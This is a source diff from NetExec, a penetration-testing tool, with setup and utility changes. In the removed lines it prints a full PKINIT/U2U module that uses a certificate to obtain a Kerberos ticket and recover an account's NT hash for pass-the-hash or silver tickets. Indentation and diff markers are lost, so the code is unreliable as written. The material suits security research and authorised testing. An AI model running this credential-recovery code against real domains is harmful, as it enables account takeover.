from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
from nxc.database import initialize_db
from nxc.nxcdb import initialize_db
from nxc.logger import nxc_logger
def first_run_setup(logger=nxc_logger):
if not exists(TMP_PATH):
mkdir(TMP_PATH)
if not exists(NXC_PATH):
logger.display("First time use detected")
logger.display("Creating home directory structure")
mkdir(NXC_PATH)
if not exists(TMP_PATH):
mkdir(TMP_PATH)
folders = (
"logs",
"modules",
"protocols",
"workspaces",
"obfuscated_scripts",
"screenshots",
@@ -27,20 +29,13 @@ def first_run_setup(logger=nxc_logger):
logger.display(f"Creating missing folder {folder}")
mkdir(path_join(NXC_PATH, folder))
log_subfolders = (
"sam",
"lsa",
"ntds",
"dpapi",
)
for subfolder in log_subfolders:
if not exists(path_join(NXC_PATH, f"logs/{subfolder}")):
logger.display(f"Creating missing folder logs/{subfolder}")
mkdir(path_join(NXC_PATH, f"logs/{subfolder}"))
initialize_db()
initialize_db(logger)
if not exists(CONFIG_PATH):
logger.display("Copying default configuration file")
default_path = path_join(DATA_PATH, "nxc.conf")
shutil.copy(default_path, NXC_PATH)
# if not exists(CERT_PATH):
# if os.name != 'nt':
# if e.errno == errno.ENOENT:
-26
View File
@@ -1,26 +0,0 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
from argparse import Action
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
help_string = action.help
if "%(default)" not in action.help and action.default is not SUPPRESS:
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
class DefaultTrackingAction(Action):
def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
# Store the default value to check later
self.default_value = default
super().__init__(
option_strings, dest, default=default, required=required, **kwargs
)
def __call__(self, parser, namespace, values, option_string=None):
# Set an attribute to track whether the value was explicitly set
setattr(namespace, self.dest, values)
setattr(namespace, f"{self.dest}_explicitly_set", True)
+4 -2
View File
@@ -52,12 +52,14 @@ def add_user_bh(user, domain, logger, config):
_add_with_domain(user_info, domain, tx, logger)
except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
return
except ServiceUnavailable:
logger.fail(f"Neo4J does not seem to be available on {uri}.")
return
except Exception as e:
logger.fail(f"Unexpected error with Neo4J: {e}")
finally:
driver.close()
return
driver.close()
def _add_with_domain(user_info, domain, tx, logger):
-213
View File
@@ -1,213 +0,0 @@
# SPDX-License-Identifier: GPL-2.0+
import struct
import uuid
from datetime import datetime
class Substitution:
def __init__(self, buf, offset):
(sub_token, sub_id, sub_type) = struct.unpack_from("<BHB", buf, offset)
self.length = 4
self._id = sub_id
self._type = sub_type
self._optional = sub_token == 0x0e
def xml(self, template=None):
value = template.values[self._id]
if value.type == 0x0:
return None if self._optional else ""
if self._type == 0x1:
return value.data.decode("utf16")
elif self._type == 0x4:
return str(struct.unpack("<B", value.data)[0])
elif self._type == 0x6:
return str(struct.unpack("<H", value.data)[0])
elif self._type == 0x8:
return str(struct.unpack("<I", value.data)[0])
elif self._type == 0xa:
return str(struct.unpack("<Q", value.data)[0])
elif self._type == 0x11:
# see http://integriography.wordpress.com/2010/01/16/using-phython-to-parse-and-present-windows-64-bit-timestamps/
return datetime.utcfromtimestamp(struct.unpack("<Q", value.data)[0] / 1e7 - 11644473600).isoformat()
elif self._type == 0x13:
# see http://www.gossamer-threads.com/lists/apache/bugs/386930
revision, number_of_sub_ids = struct.unpack_from("<BB", value.data)
iav = struct.unpack_from(">Q", value.data, 2)[0]
sub_ids = [struct.unpack("<I", value.data[8 + 4 * i:12 + 4 * i])[0] for i in range(number_of_sub_ids)]
return "S-{}-{}-{}".format(revision, iav, "-".join([str(sub_id) for sub_id in sub_ids]))
elif self._type == 0x15 or self._type == 0x10:
return value.data.hex()
elif self._type == 0x21:
return value.template.xml()
elif self._type == 0xf:
return str(uuid.UUID(bytes_le=value.data))
else:
print("Unknown value type", hex(value.type))
class Value:
def __init__(self, buf, offset):
token, string_type, length = struct.unpack_from("<BBH", buf, offset)
self._val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
self.length = 4 + length * 2
def xml(self, template=None):
return self._val
class Attribute:
def __init__(self, buf, offset):
struct.unpack_from("<B", buf, offset)
self._name = Name(buf, offset + 1)
(next_token) = struct.unpack_from("<B", buf, offset + 1 + self._name.length)
if next_token[0] == 0x05 or next_token == 0x45:
self._value = Value(buf, offset + 1 + self._name.length)
elif next_token[0] == 0x0e:
self._value = Substitution(buf, offset + 1 + self._name.length)
else:
print("Unknown attribute next_token", hex(next_token[0]), hex(offset + 1 + self._name.length))
self.length = 1 + self._name.length + self._value.length
def xml(self, template=None):
val = self._value.xml(template)
return None if val is None else f'{self._name.val}="{val}"'
class Name:
def __init__(self, buf, offset):
hashs, length = struct.unpack_from("<HH", buf, offset)
self.val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
self.length = 4 + (length + 1) * 2
class Element:
def __init__(self, buf, offset):
token, dependency_id, length = struct.unpack_from("<BHI", buf, offset)
self._name = Name(buf, offset + 7)
self._dependency = dependency_id
ofs = offset + 7 + self._name.length
if token == 0x41:
struct.unpack_from("<I", buf, ofs)
ofs += 4
self._children = []
self._attributes = []
while True:
next_token = buf[ofs]
if next_token == 0x06 or next_token == 0x46:
attr = Attribute(buf, ofs)
self._attributes.append(attr)
ofs += attr.length
elif next_token == 0x02:
self._empty = False
ofs += 1
while True:
next_token = buf[ofs]
if next_token == 0x01 or next_token == 0x41:
element = Element(buf, ofs)
elif next_token == 0x04:
ofs += 1
break
elif next_token == 0x05:
element = Value(buf, ofs)
elif next_token == 0x0e or next_token == 0x0d:
element = Substitution(buf, ofs)
else:
print("Unknown intern next_token", hex(next_token), hex(ofs))
break
self._children.append(element)
ofs += element.length
break
elif next_token == 0x03:
self._empty = True
ofs += 1
break
else:
print("Unknown element next_token", hex(next_token), hex(ofs))
break
self.length = ofs - offset
def xml(self, template=None):
if self._dependency != 0xFFFF and template.values[self._dependency].type == 0x00:
return ""
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
attrs = " ".join(attrs)
if len(attrs) > 0:
attrs = " " + attrs
if self._empty:
return f"<{self._name.val}{attrs}/>"
else:
children = (x.xml(template) for x in self._children)
return "<{}{}>{}</{}>".format(self._name.val, attrs, "".join(children), self._name.val)
class ValueSpec:
def __init__(self, buf, offset, value_offset):
self.length, self.type, value_eof = struct.unpack_from("<HBB", buf, offset)
self.data = buf[value_offset:value_offset + self.length]
if self.type == 0x21:
self.template = BinXML(buf, value_offset)
class TemplateInstance:
def __init__(self, buf, offset):
token, unknown0, guid, length, next_token = struct.unpack_from("<BB16sIB", buf, offset)
if next_token == 0x0F:
self._xml = BinXML(buf, offset + 0x16)
eof, num_values = struct.unpack_from("<BI", buf, offset + 22 + self._xml.length)
values_length = 0
self.values = []
for x in range(num_values):
value = ValueSpec(buf, offset + 22 + self._xml.length + 5 + x * 4, offset + 22 + self._xml.length + 5 + num_values * 4 + values_length)
self.values.append(value)
values_length += value.length
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
else:
print("Unknown template token", hex(next_token))
def xml(self, template=None):
return self._xml.xml(self)
class BinXML:
def __init__(self, buf, offset):
header_token, major_version, minor_version, flags, next_token = struct.unpack_from("<BBBBB", buf, offset)
if next_token == 0x0C:
self._element = TemplateInstance(buf, offset + 4)
elif next_token == 0x01 or next_token == 0x41:
self._element = Element(buf, offset + 4)
else:
print("Unknown binxml token", hex(next_token))
self.length = 4 + self._element.length
def xml(self, template=None):
return self._element.xml(template)
class ResultSet:
def __init__(self, buf):
total_size, header_size, event_offset, bookmark_offset, binxml_size = struct.unpack_from("<IIIII", buf)
self._xml = BinXML(buf, 0x14)
def xml(self):
return self._xml.xml()
+1 -2
View File
@@ -1,10 +1,9 @@
import os
from termcolor import colored
from nxc.paths import NXC_PATH
def write_log(data, log_name):
logs_dir = os.path.join(NXC_PATH, "logs")
logs_dir = os.path.join(os.path.expanduser("~/.nxc"), "logs")
with open(os.path.join(logs_dir, log_name), "w") as log_output:
log_output.write(data)
+2 -71
View File
@@ -4,8 +4,6 @@ import re
import inspect
import os
from ipaddress import ip_address
def identify_target_file(target_file):
with open(target_file) as target_file_handle:
@@ -24,7 +22,7 @@ def gen_random_string(length=10):
def validate_ntlm(data):
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
return bool(allowed.match(data))
@@ -42,7 +40,7 @@ def called_from_cmd_args():
# Stolen from https://github.com/pydanny/whichcraft/
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
"""Find the path which conforms to the given mode on the PATH for a command.
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
Note: This function was backported from the Python 3 source code.
@@ -79,70 +77,3 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
name = os.path.join(p, thefile)
if _access_check(name, mode):
return name
def get_bloodhound_info():
"""
Detect which BloodHound package is installed (regular or CE) and its version.
Returns
-------
tuple: (package_name, version, is_ce)
- package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None)
- version: Version string of the installed package (or None if not installed)
- is_ce: Boolean indicating if it's the Community Edition
"""
import importlib.metadata
import importlib.util
# First check if any BloodHound package is available to import
if importlib.util.find_spec("bloodhound") is None:
return None, None, False
# Try to get version info from both possible packages
version = None
package_name = None
is_ce = False
# Check for bloodhound-ce first
try:
version = importlib.metadata.version("bloodhound-ce")
package_name = "bloodhound-ce"
is_ce = True
except importlib.metadata.PackageNotFoundError:
# Check for regular bloodhound
try:
version = importlib.metadata.version("bloodhound")
package_name = "bloodhound"
# Even when installed as 'bloodhound', check if it's actually the CE version
if version and ("ce" in version.lower() or "community" in version.lower()):
is_ce = True
except importlib.metadata.PackageNotFoundError:
# No bloodhound package found via metadata
pass
# In case we can import it but metadata is not working, check the module itself
if not version:
try:
import bloodhound
version = getattr(bloodhound, "__version__", "unknown")
package_name = "bloodhound"
# Check if it's CE based on version string
if "ce" in version.lower() or "community" in version.lower():
is_ce = True
package_name = "bloodhound-ce"
except ImportError:
pass
return package_name, version, is_ce
def detect_if_ip(target):
try:
ip_address(target)
return True
except Exception:
return False
-34
View File
@@ -1,34 +0,0 @@
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
-524
View File
@@ -1,524 +0,0 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan)
#
# Description:
# This script will use an existing TGT to request a PAC for the current user using U2U.
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
# used for silver tickets and for backwards compatibility with other tooling.
#
# References:
#
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
#
# Based on examples from minikerberos by skelsec
# Parts of this code was inspired by the following project by @rubin_mor
# https://github.com/morRubin/AzureADJoinedMachinePTC
#
# Author:
# Tamas Jos (@skelsec)
# Dirk-jan Mollema (@_dirkjan)
#
import os
import secrets
import hashlib
import datetime
import random
import base64
from binascii import unhexlify, hexlify
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from minikerberos.pkinit import PKINIT, DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
from impacket.krb5.types import Principal, KerberosTime, Ticket
# Imports for pfx_auth
from minikerberos.network.clientsocket import KerberosClientSocket
from minikerberos.common.target import KerberosTarget
from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.paths import NXC_PATH
from nxc.logger import nxc_logger
class myPKINIT(PKINIT):
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
"""
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
pfxdata = f.read()
if b64:
pfxdata = base64.b64decode(pfxdata)
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
if not pfxpass:
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.hazmat.primitives import serialization
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
pem_key = privkey.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption(),
)
pkinit.privkey = load_private_key(parse_private(pem_key))
pem_cert = cert.public_bytes(
encoding=serialization.Encoding.PEM
)
pkinit.certificate = parse_certificate(pem_cert)
else:
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
pkinit.setup(dh_params=dh_params)
return pkinit
@staticmethod
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = parse_certificate(f.read())
with open(privkeyfile, "rb") as f:
pkinit.privkey = load_private_key(parse_private(f.read()))
pkinit.setup(dh_params=dh_params)
return pkinit
def sign_authpack(self, data, wrap_signed=False):
return self.sign_authpack_native(data, wrap_signed)
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
print("Generating DH params...")
print("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
elif isinstance(dh_params, bytes):
self.diffie = DirtyDH.from_asn1(dh_params)
elif isinstance(dh_params, DirtyDH):
self.diffie = dh_params
else:
raise Exception("DH params must be either a bytearray or a dict")
def build_asreq(self, domain=None, cname=None, kdcopts=None):
if kdcopts is None:
kdcopts = ["forwardable", "renewable", "renewable-ok"]
if isinstance(kdcopts, list):
kdcopts = set(kdcopts)
if cname is not None:
if isinstance(cname, str):
cname = [cname]
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.timezone.utc)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
kdc_req_body_data["realm"] = domain.upper()
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["nonce"] = secrets.randbits(31)
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
authenticator = {}
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = now.replace(microsecond=0)
authenticator["nonce"] = secrets.randbits(31)
authenticator["paChecksum"] = checksum
dp = {}
dp["p"] = self.diffie.p
dp["g"] = self.diffie.g
dp["q"] = 0 # mandatory parameter, but it is not needed
pka = {}
pka["algorithm"] = "1.2.840.10046.2.1"
pka["parameters"] = keys.DomainParameters(dp)
spki = {}
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
spki["public_key"] = self.diffie.get_public_key()
authpack = {}
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
authpack["clientDHNonce"] = self.diffie.dh_nonce
authpack = AuthPack(authpack)
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
payload = PA_PK_AS_REQ()
payload["signedAuthPack"] = signed_authpack
pa_data_1 = {}
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
pa_data_1["padata-value"] = payload.dump()
pa_data_0 = {}
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
asreq = {}
asreq["pvno"] = 5
asreq["msg-type"] = 10
asreq["padata"] = [pa_data_0, pa_data_1]
asreq["req-body"] = kdc_req_body
return AS_REQ(asreq).dump()
def sign_authpack_native(self, data, wrap_signed=False):
"""
Creating PKCS7 blob which contains the following things:
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
2. the certificate used to sign the data blob
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
"""
da = {}
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
si = {}
si["version"] = "v1"
si["sid"] = cms.IssuerAndSerialNumber({
"issuer": self.certificate.issuer,
"serial_number": self.certificate.serial_number,
})
si["digest_algorithm"] = algos.DigestAlgorithm(da)
si["signed_attrs"] = [
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
ec["content"] = data
sd = {}
sd["version"] = "v3"
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
sd["certificates"] = [self.certificate]
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
if wrap_signed is True:
ci = {}
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
ci["content"] = cms.SignedData(sd)
return cms.ContentInfo(ci).dump()
return cms.SignedData(sd).dump()
def decrypt_asrep(self, as_rep):
def truncate_key(value, keysize):
output = b""
currentNum = 0
while len(output) < keysize:
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
if len(output) + len(currentDigest) > keysize:
output += currentDigest[:keysize - len(output)]
break
output += currentDigest
currentNum += 1
return output
for pa in as_rep["padata"]:
if pa["padata-type"] == 17:
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
break
else:
raise Exception("PA_PK_AS_REP not found!")
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
sd = ci["content"]
keyinfo = sd["encap_content_info"]
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
raise Exception("Keyinfo content type unexpected value")
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
shared_key = self.diffie.exchange(pubkey)
server_nonce = pkasrep["serverDHNonce"]
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate_key(fullKey, 32)
elif etype == Enctype.AES128:
t_key = truncate_key(fullKey, 16)
elif etype == Enctype.RC4:
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
nxc_logger.info("AS-REP encryption key (you might need this later):")
nxc_logger.info(hexlify(t_key).decode("utf-8"))
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
class GETPAC:
def printPac(self, data, key=None):
nthash = None
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
0]
# So here we have the PAC
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
buff = pacType["Buffers"]
found = False
for _bufferN in range(pacType["cBuffers"]):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
if infoBuffer["ulType"] == 2:
found = True
credinfo = PAC_CREDENTIAL_INFO(data)
newCipher = _enctype_table[credinfo["EncryptionType"]]
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
type1 = TypeSerialization1(out)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = out[len(type1) + 4:]
pcc = PAC_CREDENTIAL_DATA(newdata)
for cred in pcc["Credentials"]:
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
nxc_logger.info("Recovered NT Hash")
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
buff = buff[len(infoBuffer):]
if not found:
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
return nthash
def __init__(self, username, domain, kdcHost, key, tgt):
self.__username = username
self.__domain = domain.upper()
self.__kdcHost = kdcHost
self.__asrep_key = key
self.__tgt = tgt["KDC_REP"]
self.__cipher = tgt["cipher"]
self.__sessionKey = tgt["sessionKey"]
def dump(self):
# Try all requested protocols until one works.
tgt = self.__tgt
cipher = self.__cipher
sessionKey = self.__sessionKey
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
nxc_logger.debug("AUTHENTICATOR")
nxc_logger.debug(authenticator.prettyPrint() + "\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq["padata"][0]["padata-value"] = encodedApReq
reqBody = seq_set(tgsReq, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(reqBody, "etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
nxc_logger.debug("Final TGS")
nxc_logger.debug(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
nxc_logger.info("Requesting ticket to self with PAC")
r = sendReceive(message, self.__domain, self.__kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
nxc_logger.debug("TGS_REP")
nxc_logger.debug(tgs.prettyPrint())
cipherText = tgs["ticket"]["enc-part"]["cipher"]
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
# S4USelf + U2U uses this other key
plainText = cipher.decrypt(sessionKey, 2, cipherText)
specialkey = Key(18, unhexlify(self.__asrep_key))
return self.printPac(plainText, specialkey)
def pfx_auth(self):
"""Handles the authentication using a PFX or PEM file"""
# Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
dhparams = {
"p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
"g": 2
}
self.logger.info("Loading certificate and key from file")
# Load the certificate and key from file
if self.args.pfx_cert or self.args.pfx_base64:
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
elif self.args.pem_cert and self.args.pem_key:
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
else:
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return None
username = self.args.username[0]
timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S").replace(":", "-")
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{timestamp}-{username}.ccache"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
try:
res = sock.sendrecv(req)
except Exception as e:
self.logger.fail(str(e))
return False
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
ccache_minikerberos = CCACHE()
ccache_minikerberos.add_tgt(res.native, encasrep)
ccache_minikerberos.to_file(log_ccache)
self.logger.info(f"Saved TGT to file {log_ccache}")
self.logger.info(f"Using Kerberos Cache {log_ccache}")
ccache = impacket_CCache.loadFile(log_ccache)
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
nthash = dumper.dump()
if not self.kerberos:
self.hash_login(self.domain, username, nthash)
else:
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
self.logger.info("Successfully authenticated using Certificate")
